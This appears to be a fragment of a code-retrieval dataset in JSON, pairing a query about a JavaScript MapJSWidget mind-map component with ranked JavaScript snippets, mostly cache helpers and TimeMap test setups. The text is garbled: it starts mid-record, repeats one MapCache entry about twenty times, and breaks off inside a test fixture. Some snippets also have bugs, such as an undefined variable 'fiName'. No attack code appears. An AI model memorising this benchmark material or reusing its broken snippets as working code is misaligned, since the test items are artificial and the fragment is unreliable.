"0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "1ed9729ea9e264e1d12a9f4da4078336", "score": "0.70497334", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "f900d741b6f7557fd4342b801accf3bb", "score": "0.70434624", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "17ecf0390766434022884ded2bd0bd89", "score": "0.70280856", "text": "function initializeCache() {\n cache = {};\n cache.vars = [];\n cache.messages = staticCache.messages;\n return cache;\n}", "title": "" }, { "docid": "6e7c90eff7052a92e20f4fcc876edfb9", "score": "0.7008783", "text": "createCache() {\n let cache = {};\n for (const property in this.getProperties()) {\n cache[property] = this[property];\n }\n\n return cache;\n }", "title": "" }, { "docid": "68f91b21230c9bdc26d1da41fb4095b2", "score": "0.698185", "text": "function MetaDataCache() {\n this.cache = new Array();\n this.cache[MetaDataType.ITEM_TYPE] = new ItemHash(\"name\");\n this.cache[MetaDataType.FORM] = new ItemHash();\n this.cache[MetaDataType.LIST] = new ItemHash();\n this.cache[MetaDataType.VAULT] = new Hash();\n}", "title": "" }, { "docid": "9a86c1c1004137f65f3b620d02ebca17", "score": "0.6977424", "text": "init() {\n this.cache = {};\n }", "title": "" }, { "docid": "3bd52f975ff846746e024b52ad04a09b", "score": "0.6940794", "text": "static get cache() {\n if (typeof PdfDocument.cacheCollection === 'undefined' || PdfDocument.cacheCollection == null) {\n return new PdfCacheCollection();\n }\n return PdfDocument.cacheCollection;\n }", "title": "" }, { "docid": "3bd52f975ff846746e024b52ad04a09b", "score": "0.6940794", "text": "static get cache() {\n if (typeof PdfDocument.cacheCollection === 'undefined' || PdfDocument.cacheCollection == null) {\n return new PdfCacheCollection();\n }\n return PdfDocument.cacheCollection;\n }", "title": "" }, { "docid": "66d8ce9e1fff1ac435f505131fb0c85c", "score": "0.69111127", "text": "cache() {\n debug('cache');\n if (!this.caching) return;\n this[keys.internal].cachedHeight = null;\n return this[keys.internal].updateCache();\n }", "title": "" }, { "docid": "13dd9421c64ae08084f83101bec82d91", "score": "0.6849001", "text": "function initCaching() {\n \n var cache={};\n var returnedObject={\n pageAccessCounter: function(section){\n if(section != undefined){\n if(cache[section.toString().toLowerCase()])\n {\n cache[section.toString().toLowerCase()]++;\n }\n else\n {\n cache[section.toString().toLowerCase()]=1;\n }\n }\n else{\n if(cache['home'])\n {\n cache['home']++;\n }\n else\n {\n cache['home']=1;\n }\n }\n },\n\n getCache: function(){\n return cache;\n }\n}\n return returnedObject;\n \n \n}", "title": "" }, { "docid": "6594a2e9f1182595f7ab621556802749", "score": "0.6813902", "text": "function CacheModel(){ \t\t\n\t\t\tthis.storage=new LocalStorageManager(\"Cache\"); \t\t\n\t\t\tthis.set=this.storage.set;\n\t\t\tthis.get=this.storage.get; \n\t\t}", "title": "" }, { "docid": "2cf023ea9e83fb0ceae740a3dcf320ea", "score": "0.6802406", "text": "function Cache(namespace){\n\tthis.namespace = namespace;\n}", "title": "" }, { "docid": "5f530904bac5a4683df3d4300360e152", "score": "0.67911655", "text": "_cacheOffsets(){}", "title": "" }, { "docid": "2c9e47fa8e22443133ad7e9b5fdec436", "score": "0.6790061", "text": "function LookupCache() {\r\n BaseObject.apply(this, arguments);\r\n this.$dataStates = { };\r\n this.data = { };\r\n}", "title": "" }, { "docid": "5fc40a213f01ff199c8f1a77ac0df92b", "score": "0.67473334", "text": "function Cache()\n{\n self = {}\n self.items = {}\n \n function put(key, item, lastMod)\n {\n var now = new Date().getTime();\n self.items[key] = [item, now, lastMod]; \n }\n \n function get(key)\n {\n var item_arr = self.items[key];\n if (item_arr === undefined)\n return undefined;\n \n item_arr[1] = new Date().getTime();\n item_arr[2] = item_arr[2] + 1; \n return item_arr[0];\n }\n \n \n function getFile(fileName)\n {\n var tvar = self.get(fileName);\n if (tvar == undefined)\n {\n if (fs.existsSync(fileName) == false)\n return undefined\n /* TODO: Add code here to use stats to\n * retrieve last file modification time\n * if it has changed since the last mod\n * time stored when the cache was updated\n * then we reload */\n \n // Attempt to read file synchronously\n var fileString = fs.readFileSync(fiName, 'utf8');\n self.put(fileName, fileString);\n return fileString;\n }\n }\n\n}", "title": "" }, { "docid": "ba18fe4f35e87edab1ad79bfc4ab2ac4", "score": "0.66723746", "text": "function CacheEl() {\n }", "title": "" }, { "docid": "fa535ed04dfd079f67dda033fbac2fff", "score": "0.6664241", "text": "static _getCache(namespace) {\n return namespace ? this._cache[namespace] : this._cache;\n }", "title": "" }, { "docid": "d3dc1e4ce437789b81b7ea2a87e34c7a", "score": "0.66275793", "text": "function __PathCache() {\n\n\t\t\t\t// cache array\n\t\t\t\tvar cache = new StringMap();\n\n\t\t\t\treturn {\n\n\t\t\t\t\t\t/* cache function\n\t\t\t\t\t\t * @param path trace path\n\t\t\t\t\t\t * @return trace path\n\t\t\t\t\t\t */\n\t\t\t\t\t\tc: function(path) {\n\t\t\t\t\t\t\t\tif(this.contains(path.toString())) {\n\t\t\t\t\t\t\t\t\t\treturn this.get(path.toString());\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tthis.put(path.toString(), path);\n\t\t\t\t\t\t\t\t\t\treturn path;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t/* put\n\t\t\t\t\t\t\t\t * @param key cache key\n\t\t\t\t\t\t\t\t * @param value cache value\n\t\t\t\t\t\t\t\t * @return value\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tput: function(key, value) {\n\t\t\t\t\t\t\t\t\t\tcache.set(key, value);\n\t\t\t\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t/* get\n\t\t\t\t\t\t\t\t * @param key cache key\n\t\t\t\t\t\t\t\t * @return value\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tget: function(key) {\n\t\t\t\t\t\t\t\t\t\treturn cache.get(key);\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t/* contains\n\t\t\t\t\t\t\t\t * @param key cache key\n\t\t\t\t\t\t\t\t * @return true, if key in cache, false otherwise\n\t\t\t\t\t\t\t\t */\n\t\t\t\t\t\t\t\tcontains: function(key) {\n\t\t\t\t\t\t\t\t\t\treturn cache.has(key);\n\t\t\t\t\t\t\t\t},\n\n\t\t\t\t\t\t\t\t/* clear cache\n\t\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\tclear: function() {\n\t\t\t\t\t\t\t\t\t\tcache = new StringMap();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t}", "title": "" }, { "docid": "49343ed2d39c218d4e3ed9d6ecf1322f", "score": "0.6622806", "text": "function Cache(name, fn, ttl) {\n this.pending = {};\n this.fn = fn;\n this.name = name;\n this.ttl = ttl;\n}", "title": "" }, { "docid": "beec27ce089d9415cf2bc0278cd054c8", "score": "0.6610439", "text": "static set cache(value) {\n this.cacheCollection = value;\n }", "title": "" }, { "docid": "beec27ce089d9415cf2bc0278cd054c8", "score": "0.6610439", "text": "static set cache(value) {\n this.cacheCollection = value;\n }", "title": "" }, { "docid": "31644748a4593361be4062ac5ff83f0b", "score": "0.6607886", "text": "get __cache()\n\t{\n\t\treturn this.#htmlUrlChecker.__cache;\n\t}", "title": "" }, { "docid": "fd035fe67dcbdf945f3e43e516531c63", "score": "0.6595213", "text": "function cached(fn){var cache=Object.create(null);return function cachedFn(str){var hit=cache[str];return hit||(cache[str]=fn(str));};}", "title": "" }, { "docid": "fd035fe67dcbdf945f3e43e516531c63", "score": "0.6595213", "text": "function cached(fn){var cache=Object.create(null);return function cachedFn(str){var hit=cache[str];return hit||(cache[str]=fn(str));};}", "title": "" }, { "docid": "1286704ac48635a7e4a49dfb7c6b796b", "score": "0.6593949", "text": "function _cache(x, t) {\n\t var c = this._cache,\n\t cross = c[x._id] || (c[x._id] = {c: [], f: false});\n\t cross.c.push(t);\n\t}", "title": "" }, { "docid": "1286704ac48635a7e4a49dfb7c6b796b", "score": "0.6593949", "text": "function _cache(x, t) {\n\t var c = this._cache,\n\t cross = c[x._id] || (c[x._id] = {c: [], f: false});\n\t cross.c.push(t);\n\t}", "title": "" }, { "docid": "2d3b86497acb26d046f469911814d4c9", "score": "0.65632087", "text": "function cached ( fn ) {\n var cache = Object.create ( null );\n return ( function cachedFn ( str ) {\n var hit = cache[ str ];\n return hit || ( cache[ str ] = fn ( str ) )\n } )\n }", "title": "" }, { "docid": "8ed761403aa755cd298bac3ae9f05add", "score": "0.653634", "text": "function cached (fn) {\n var cache = Object.create(null);\n return (function cachedFn (str) {\n var hit = cache[str];\n return hit || (cache[str] = fn(str))\n })\n }", "title": "" }, { "docid": "0c5d4284618eeec88d7d2693765b3618", "score": "0.6529981", "text": "function cache(x, t) {\n var c = this._cache[x._id] = this._cache[x._id] || {c: [], s: this._stamp};\n c.c.push(t);\n}", "title": "" }, { "docid": "507a9572b3be82442793140d7ca4aebb", "score": "0.65200496", "text": "getCache(type) {\n // Return the cache for this event's target element\n return this.pointerCaches[type];\n }", "title": "" }, { "docid": "a2e9077ad20b35802a7ed54c5e3c08d6", "score": "0.6516788", "text": "getCache(numArgs) {\n let cache = this.map_numArgs_cache.get(numArgs);\n if (!cache)\n this.map_numArgs_cache.set(numArgs, cache = new MeekMap());\n return cache;\n }", "title": "" }, { "docid": "32429def13effdabdb3be1554e87f063", "score": "0.6513388", "text": "function cached (fn) {\r\n\t var cache = Object.create(null);\r\n\t return (function cachedFn (str) {\r\n\t var hit = cache[str];\r\n\t return hit || (cache[str] = fn(str))\r\n\t })\r\n\t}", "title": "" }, { "docid": "8895a1917b1e65b12590e1f8d2de7751", "score": "0.64882797", "text": "function _cache(x, t) {\n var c = this._cache,\n cross = c[x._id] || (c[x._id] = {c: [], f: false});\n cross.c.push(t);\n}", "title": "" }, { "docid": "017b2eb4626a0ea9b06a364cc9fddf42", "score": "0.6477027", "text": "function cached (fn) {\n\t var cache = Object.create(null);\n\t return (function cachedFn (str) {\n\t var hit = cache[str];\n\t return hit || (cache[str] = fn(str))\n\t })\n\t}", "title": "" }, { "docid": "017b2eb4626a0ea9b06a364cc9fddf42", "score": "0.6477027", "text": "function cached (fn) {\n\t var cache = Object.create(null);\n\t return (function cachedFn (str) {\n\t var hit = cache[str];\n\t return hit || (cache[str] = fn(str))\n\t })\n\t}", "title": "" }, { "docid": "2fb3ca3835ae8584f55cd5a90cd42d3d", "score": "0.6461423", "text": "clearCache() {\n // to be overloaded by subclasses\n }", "title": "" }, { "docid": "000e7daed5622035a0fe323f158a964e", "score": "0.64582145", "text": "function GLOWCache() {\n this.highestAttributeNumber = -1;\n this.uniformByLocation = [];\n this.attributeByLocation = [];\n this.textureByLocation = [];\n this.compiledCode = [];\n this.elementId = -1;\n this.programId = -1;\n this.active = true;\n }", "title": "" }, { "docid": "cbf51652d6958c914780ab402e4718db", "score": "0.6456096", "text": "static _setCache(namespace, object) {\n this._cache[namespace] = object;\n }", "title": "" }, { "docid": "e2ffef9259b996a67eaef3edfb49a9ea", "score": "0.6442176", "text": "getCache() {\n if (!this.xmlRpcConfig.cache) {\n return null;\n }\n if (this.connectionCache == null) {\n this.connectionCache = new CacheClass();\n }\n return this.connectionCache;\n }", "title": "" }, { "docid": "641fd2c0ea833dd1f8c202e01e1b2e2c", "score": "0.6401522", "text": "function cached (fn) {\n var cache = Object.create(null);\n return (function cachedFn (str) {\n var hit = cache[str];\n return hit || (cache[str] = fn(str))\n })\n }", "title": "" } ]
4567c4304631078a1197bb8ee92839f0
require('mapjs:/test/perftests.js'); / Note that for now, we cannot have more than one MapJSWidget on the same page
[ { "docid": "62d081f2d9955d56d0ff988277c9963a", "score": "0.5881944", "text": "function MapJSWidget() {\n\tvar that=this;\n\t\n\tthis.div=function() {return m_div;};\n\tthis.setSize=function(W,H) {_setSize(W,H);};\n\tthis.initialize=function() {return _initialize();};\n\tthis.setMap=function(map) {return _setMap(map);};\n\tthis.getMap=function(node_id,params) {return _getMap(node_id,params);};\n\tthis.setInputEnabled=function(val) {m_input_enabled=val; m_map_model.setInputEnabled(val);};\n\tthis.onOpenAttachment=function(callback) {m_attachment_callback=callback;};\n\tthis.getNodeData=function(node_id) {return _getNodeData(node_id);};\n\tthis.setNodeAttachment=function(node_id,attachment) {_setNodeAttachment(node_id,attachment);};\n\tthis.addNode=function(parent_node_id,node_data) {_addNode(parent_node_id,node_data);};\n\tthis.replaceNode=function(node_id,node_data) {_replaceNode(node_id,node_data);};\n\tthis.removeNode=function(node_id) {_removeNode(node_id);};\n\tthis.getRootNodeId=function() {return (m_idea||{}).id||null;};\n\tthis.setStyleFunction=function(func) {m_style_function=func;};\n\tthis.testfunc=function(params) {return _testfunc(params);};\n\tthis.getSelectedNodeId=function() {return _getSelectedNodeId();};\n\tthis.setSelectedNode=function(node_id) {return _setSelectedNode(node_id);};\n\tthis.onKeyPressed=function(callback) {m_div.bind('on-key-pressed',function(evt,obj) {callback(obj);});};\n\tthis.refreshMap=function() {that.setMap(that.getMap());};\n\tthis.onContextMenuRequested=function(callback) {m_div.bind('on-context-menu-requested',function(evt,obj) {callback(obj);});};\t\n\tthis.onSelectedNodeChanged=function(callback) {m_div.bind('on-selected-node-changed',function() {callback();});};\n\t\n\tvar m_div_id='mapjswidget-'+makeRandomId(5); //seems to be important that the div has a unique id\n\tvar m_div=$('<div id=\"'+m_div_id+'\"></div>');\n\tvar m_map_model=null;\n\tvar m_idea={};\n\tvar m_last_ids={last_neg:0,last_pos:0};\n\tvar m_input_enabled=true;\n\tvar m_attachment_callback=function(node_id) {console.log ('attachment callback not defined',node_id);};\n\tvar m_style_function=null;\n\tvar m_width=0,m_height=0;\n\t\n\t//initialize the map model\n\tvar isTouch=false; //I am guessing this would be true on a touch screen?\n\tvar imageInsertController=new MAPJS.ImageInsertController(\"http://localhost:4999?u=\"); //not sure about this\n\tm_map_model=new MAPJS.MapModel(MAPJS.KineticMediator.layoutCalculator, []);\n\t\n\tm_map_model.addEventListener('attachmentOpened', function (nodeId, attachment) {\n\t\t//for debugging purposes, it is better to do it this way, so we can see the errors in console\n\t\tsetTimeout(function() {\n\t\t\tm_attachment_callback(nodeId);\n\t\t},10);\n\t});\n\t\n\tm_map_model.addEventListener('nodeTitleChanged',function(node) {\n\t\tupdate_node_styles();\n\t});\n\t\n\tm_map_model.addEventListener('contextMenuRequested',function(node_id,x,y) {\n\t\tm_div.trigger('on-context-menu-requested',{node_id:node_id,x:x,y:y});\n\t});\n\t\n\tm_map_model.addEventListener('nodeSelectionChanged',function() {\n\t\tm_div.trigger('on-selected-node-changed');\n\t});\n\t\n\t$(document).keypress(function (evt) {\n\t\tvar key=String.fromCharCode(evt.which);\n\t\tif (!m_input_enabled) return;\n\t\t//if (key=='c') do_copy();\n\t\t//else if (key=='v') do_paste();\n\t\tvar idea=get_selected_idea();\n\t\tvar node_id=idea.id||null;\n\t\tm_div.trigger('on-key-pressed',{node_id:node_id,key:key,event:evt});\n\t});\n\t\n\tfunction _initialize() {\n\t\tm_div.mapWidget(console,m_map_model,isTouch,imageInsertController);\n\t\t\n\t\t//jQuery('body').attachmentEditorWidget(m_map_model);\n\t}\n\t\n\tfunction _setSize(W,H) {\n\t\tif ((W==m_width)&&(H==m_height)) return;\n\t\t\n\t\tm_width=W;\n\t\tm_height=H;\n\t\tupdate_layout();\n\t\tschedule_resize_trigger();\n\t}\n\t\n\tvar m_resize_trigger_scheduled=false;\n\tfunction schedule_resize_trigger() {\n\t\tif (m_resize_trigger_scheduled) return;\n\t\tm_resize_trigger_scheduled=true;\n\t\tsetTimeout(do_resize_trigger,200);\n\t\tfunction do_resize_trigger() {\n\t\t\tm_resize_trigger_scheduled=false;\n\t\t\tif (m_map_model) {\n\t\t\t\t//console.log('dispatching: mapViewResetRequested');\n\t\t\t\t//m_map_model.dispatchEvent('mapViewResetRequested');\n\t\t\t\t$(window).resize(); //this seems to be the only way to notify MAPJS!\n\t\t\t}\n\t\t}\n\t}\n\t\n\tfunction get_next_id(negative) {\n\t\tif (!negative) {\n\t\t\tm_last_ids.last_pos++;\n\t\t\treturn m_last_ids.last_pos;\n\t\t}\n\t\telse {\n\t\t\tm_last_ids.last_neg--;\n\t\t\treturn m_last_ids.last_neg;\n\t\t}\n\t}\n\tfunction convert_node(node) {\n\t\tvar ret={};\n\t\tvar children=node.children||[];\n\t\tret.title=node.title||'';\n\t\tret.attributes=$.extend({},(node.attributes||{}));\n\t\tret.attr={};\n\t\tif (node.attachment) ret.attr.attachment=$.extend({},node.attachment);\n\t\tif ((node.collapsed)&&(children.length>0)) ret.attr.collapsed=true;\n\t\tret.attr.style={};\n\t\tret.id=get_next_id(node.negative||false);\n\t\t\n\t\t\n\t\t/*\n\t\tvar max_items_to_display=8;\n\t\tif (children.length>max_items_to_display) {\n\t\t\tret.ideas_are_hidden=true;\n\t\t\tret.ideas={};\n\t\t\tvar tmp1=convert_node({title:'['+children.length+' items]',collapsed:true});\n\t\t\ttmp1.ideas={};\n\t\t\tret.ideas[tmp1.id]=tmp1;\n\t\t\tret.holder_id=tmp1.id;\n\t\t}\n\t\t*/\n\t\t\n\t\tif (children.length>0) {\n\t\t\tret.ideas={};\n\t\t\tfor (var i=0; i<children.length; i++) {\n\t\t\t\tvar tmp=convert_node(children[i]);\n\t\t\t\tret.ideas[tmp.id]=tmp;\n\t\t\t}\n\t\t\tif (!ret.attr) ret.attr={};\n\t\t\tret.attr.jfm_is_leaf=false;\n\t\t}\n\t\telse {\n\t\t\tif (!ret.attr) ret.attr={};\n\t\t\tret.attr.jfm_is_leaf=true;\n\t\t}\n\t\t\n\t\treturn ret;\n\t}\n\tfunction deconvert_node(idea,recursive,params) {\n\t\tif (!params) params={};\n\t\tvar node={};\n\t\tnode.title=idea.title||'';\n\t\tnode.attributes=$.extend({},(idea.attributes||{}));\n\t\tnode.children=[];\n\t\tif ((idea.attr)&&(idea.attr.attachment)) node.attachment=$.extend({},idea.attr.attachment);\n\t\tif ((idea.attr)&&(idea.attr.collapsed)) node.collapsed=true;\n\t\tvar ideas=idea.ideas||{};\n\t\t\n\t\tif (params.include_node_ids) node.id=idea.id;\n\t\t\n\t\t/*\n\t\tif ((idea.ideas_are_hidden)&&(idea.holder_id)) {\n\t\t\tideas=idea.ideas[idea.holder_id].ideas||{};\n\t\t\tfor (var kk in idea.ideas) {\n\t\t\t\tif (kk!=idea.holder_id) ideas.push(idea.ideas[kk]);\n\t\t\t}\n\t\t}\n\t\telse ideas=idea.ideas||{};\n\t\t*/\n\t\t\n\t\tif (recursive) {\n\t\t\tfor (var idea_key in ideas) {\n\t\t\t\tvar is_negative=(Number(idea_key)<0);\n\t\t\t\tvar node2=deconvert_node(ideas[idea_key],recursive,params);\n\t\t\t\tif (is_negative) node2.negative=true;\n\t\t\t\tnode.children.push(node2);\n\t\t\t}\n\t\t}\n\t\treturn node;\n\t}\n\t\n\tfunction get_idea_from_id(node_id) {\n\t\tif (node_id==m_idea.id) {\n\t\t\treturn m_idea;\n\t\t}\n\t\telse {\n\t\t\treturn m_idea.findSubIdeaById(node_id);\n\t\t}\n\t}\n\tfunction _getNodeData(node_id) {\n\t\tif (!m_idea.findParent) return {};\n\t\t\n\t\tvar idea=get_idea_from_id(node_id);\n\t\tif (!idea) return null;\n\t\tvar node=deconvert_node(idea,false);\n\t\tnode.child_ids_by_title={};\n\t\tvar ideas=idea.ideas||{};\n\t\tfor (var key in ideas) {\n\t\t\tvar id0=ideas[key].id;\n\t\t\tvar title0=ideas[key].title;\n\t\t\tnode.child_ids_by_title[title0]=id0;\n\t\t}\n\t\tnode.parent_node_id=(m_idea.findParent(node_id)||{}).id||null;\n\t\treturn node;\n\t}\n\tfunction _getSelectedNodeId() {\n\t\tvar idea=get_selected_idea();\n\t\tif (!idea) return null;\n\t\tvar node_id=idea.id||null;\n\t\treturn node_id;\n\t}\n\tfunction get_selected_idea() {\n\t\tvar idea_id=m_map_model.getSelectedNodeId();\n\t\tvar selected_idea=get_idea_from_id(idea_id);\n\t\tif (selected_idea) return selected_idea;\n\t\telse return null;\n\t}\n\tfunction _setSelectedNode(node_id) {\n\t\tconsole.log('setSelectedNode: '+node_id);\n\t\tvar tmp=node_id;\n\t\twhile (tmp) {\n\t\t\tm_idea.updateAttr(tmp,'collapsed',false);\n\t\t\ttmp=(m_idea.findParent(tmp)||{}).id||null;\n\t\t}\n\t\tm_map_model.selectNode(node_id);\n\t\tconsole.log('done setSelectedNode');\n\t}\n\t\n\tfunction do_copy() {\n\t\tvar idea=get_selected_idea();\n\t\tif (idea) {\n\t\t\tvar node=deconvert_node(idea,true);\n\t\t\tlocalStorage.mapjswidget_clipboard=JSON.stringify(node);\n\t\t}\n\t}\n\tfunction do_paste() {\n\t\tvar tmp=localStorage.mapjswidget_clipboard||'';\n\t\ttry {\n\t\t\tvar node=JSON.parse(tmp);\n\t\t}\n\t\tcatch(err) {\n\t\t\treturn;\n\t\t}\n\t\tvar idea=get_selected_idea();\n\t\tif (!idea.ideas) idea.ideas={};\n\t\tidea.ideas[get_next_id()]=convert_node(node);\n\t\tthat.setMap(that.getMap());\n\t}\n\tfunction _testfunc(params) {\n\t\tif (params=='copy') {\n\t\t}\n\t\telse if (params=='paste') {\n\t\t}\n\t\t\n\t}\n\t\n\tfunction _setNodeAttachment(node_id,attachment) {\n\t\tm_map_model.setAttachment(\n\t\t\t'mapjswidget',\n\t\t\tnode_id,{\n\t\t\t\tcontentType:attachment.contentType||'text/plain',\n\t\t\t\tcontent:attachment.content||''\n\t\t\t}\n\t\t);\n\t}\n\tfunction _addNode(parent_node_id,node_data) {\n\t\tvar idea=get_idea_from_id(parent_node_id);\n\t\tif (!idea) return;\n\t\tif (!idea.ideas) idea.ideas={};\n\t\tidea.ideas[get_next_id()]=convert_node(node_data);\n\t\t//that.setMap(that.getMap()); //removed for efficiency... caller should use that.refreshMap();\n\t}\n\tfunction _replaceNode(node_id,node_data) {\n\t\tvar parent_node_id=(m_idea.findParent(node_id)||{}).id||null;\n\t\tif (!parent_node_id) return;\n\t\tvar par_idea=get_idea_from_id(parent_node_id);\n\t\tif (!par_idea) return;\n\t\t\n\t\tvar new_ideas={};\n\t\tfor (var key in par_idea.ideas) {\n\t\t\tif (par_idea.ideas[key].id==node_id)\n\t\t\t\tnew_ideas[key]=convert_node(node_data);\n\t\t\telse\n\t\t\t\tnew_ideas[key]=par_idea.ideas[key];\n\t\t}\n\t\tpar_idea.ideas=new_ideas;\n\t}\n\t\n\tfunction _removeNode(node_id) {\n\t\t\n\t\tvar parent_node_id=(m_idea.findParent(node_id)||{}).id||null;\n\t\tif (!parent_node_id) return;\n\t\tvar par_idea=get_idea_from_id(parent_node_id);\n\t\tif (!par_idea) return;\n\t\tif (!par_idea.ideas) return;\n\t\tvar new_ideas={};\n\t\tfor (var key in par_idea.ideas) {\n\t\t\tif (par_idea.ideas[key].id!=node_id)\n\t\t\t\tnew_ideas[key]=par_idea.ideas[key];\n\t\t}\n\t\tpar_idea.ideas=new_ideas;\n\n\t}\n\t\n\tfunction _setMap(map) {\n\t\tm_last_ids={last_neg:0,last_pos:0};\n\t\tvar map_tmp=convert_node(map.root||{});\n\t\tmap_tmp.formatVersion=2;\n\t\t\n\t\t//set the idea to the model\n\t\tm_idea=MAPJS.content(map_tmp);\n\t\tupdate_node_styles();\n\t\t\n\t\tm_map_model.setIdea(m_idea);\n\t}\n\tfunction _getMap(node_id,params) {\n\t\tif (!params) params={};\n\t\tvar tmp=m_map_model.getIdea(); \n\t\tif (!tmp) return null;\n\t\tvar tmp2=tmp;\n\t\tif (node_id) {\n\t\t\ttmp2=tmp.findSubIdeaById(node_id);\n\t\t\tif (!tmp2) return null;\n\t\t}\n\t\tvar tmp3=tmp.clone(tmp2.id);\n\t\tvar root=deconvert_node(tmp3,true,params);\n\t\treturn {root:root};\n\t}\n\t\n\tfunction update_layout() {\n\t\tm_div.css({position:'absolute',width:m_width,height:m_height});\n\t}\n\t\n\tfunction update_node_styles() {\n\t\tupdate_node_styles_2(m_idea,true);\n\t}\n\tfunction update_node_styles_2(idea,is_root) {\n\t\tvar title=idea.title||'';\n\t\tvar suf=utils.get_file_suffix(title);\n\t\tif (!idea.attr) idea.attr={};\n\t\tif (!idea.attr.style) idea.attr.style={};\n\t\tvar style=idea.attr.style;\n\t\t\n\t\tvar data={\n\t\t\ttitle:idea.title||'',\n\t\t\tattachment:idea.attachment||{},\n\t\t\tis_root:is_root,\n\t\t\tis_leaf:_.isEmpty(idea.ideas||{})\n\t\t};\n\t\t\n\t\tif (m_style_function) {\n\t\t\tm_style_function(data,style);\n\t\t}\n\t\n\t\tfor (var key in idea.ideas) {\n\t\t\tupdate_node_styles_2(idea.ideas[key],false);\n\t\t}\n\t}\n}", "title": "" } ]
[ { "docid": "aec18196b1524efa66edaa2b32cfa1a2", "score": "0.653004", "text": "function jsonLoadTestSetup() {\r\n tm = TimeMap.init({\r\n mapId: \"map\", // Id of map div element (required)\r\n timelineId: \"timeline\", // Id of timeline div element (required) \r\n datasets: [\r\n {\r\n title: \"Test Dataset\",\r\n id: \"test\",\r\n type: \"json_string\",\r\n options: {\r\n url: \"data/data_string.js\" \r\n }\r\n }\r\n ],\r\n dataDisplayedFunction: function() { setUpPageStatus = \"complete\"; }\r\n });\r\n}", "title": "" }, { "docid": "2c101055ab9406f95f34d4d4a3c7dabe", "score": "0.6467967", "text": "function jsonpLoadTestSetup() {\r\n tm = TimeMap.init({\r\n mapId: \"map\", // Id of map div element (required)\r\n timelineId: \"timeline\", // Id of timeline div element (required) \r\n datasets: [\r\n {\r\n title: \"Test Dataset\",\r\n id: \"test\",\r\n type: \"jsonp\",\r\n options: {\r\n url: \"data/data.js?cb=\" \r\n }\r\n }\r\n ],\r\n dataDisplayedFunction: function() { setUpPageStatus = \"complete\"; }\r\n });\r\n}", "title": "" }, { "docid": "cd7d8377c5e2439db548c9a9b6ba7b90", "score": "0.6244933", "text": "function map( config ) {\n if ( config.debug ) { console.log( 'map.js loaded, and ...' ); }\n\n $( document ).ready( function() {\n if ( pageHasMap( config.mapSelector ) ) {\n\n if ( config.debug ) { console.log( 'map.js executing.' ); }\n\n const mapdata = continentalUsa( require('./us-map.json'), config );\n\n var map = new Map( mapdata, config );\n\n map.init();\n map.draw();\n\n } else {\n\n if ( config.debug ) { console.log('map.js not executing.'); }\n\n }\n });\n\n}", "title": "" }, { "docid": "f2748f2797753bc6daa55bcac19ce7d6", "score": "0.6129946", "text": "function basicLoadTestSetup() {\r\n tm = TimeMap.init({\r\n mapId: \"map\", // Id of map div element (required)\r\n timelineId: \"timeline\", // Id of timeline div element (required) \r\n datasets: [\r\n {\r\n title: \"Test Dataset\",\r\n id: \"test\",\n // this syntax should still work\r\n data: {\r\n type: \"basic\",\r\n value: [\r\n {\r\n \"start\" : \"1980-01-02\",\r\n \"end\" : \"2000-01-02\",\r\n \"point\" : {\r\n \"lat\" : 23.456,\r\n \"lon\" : 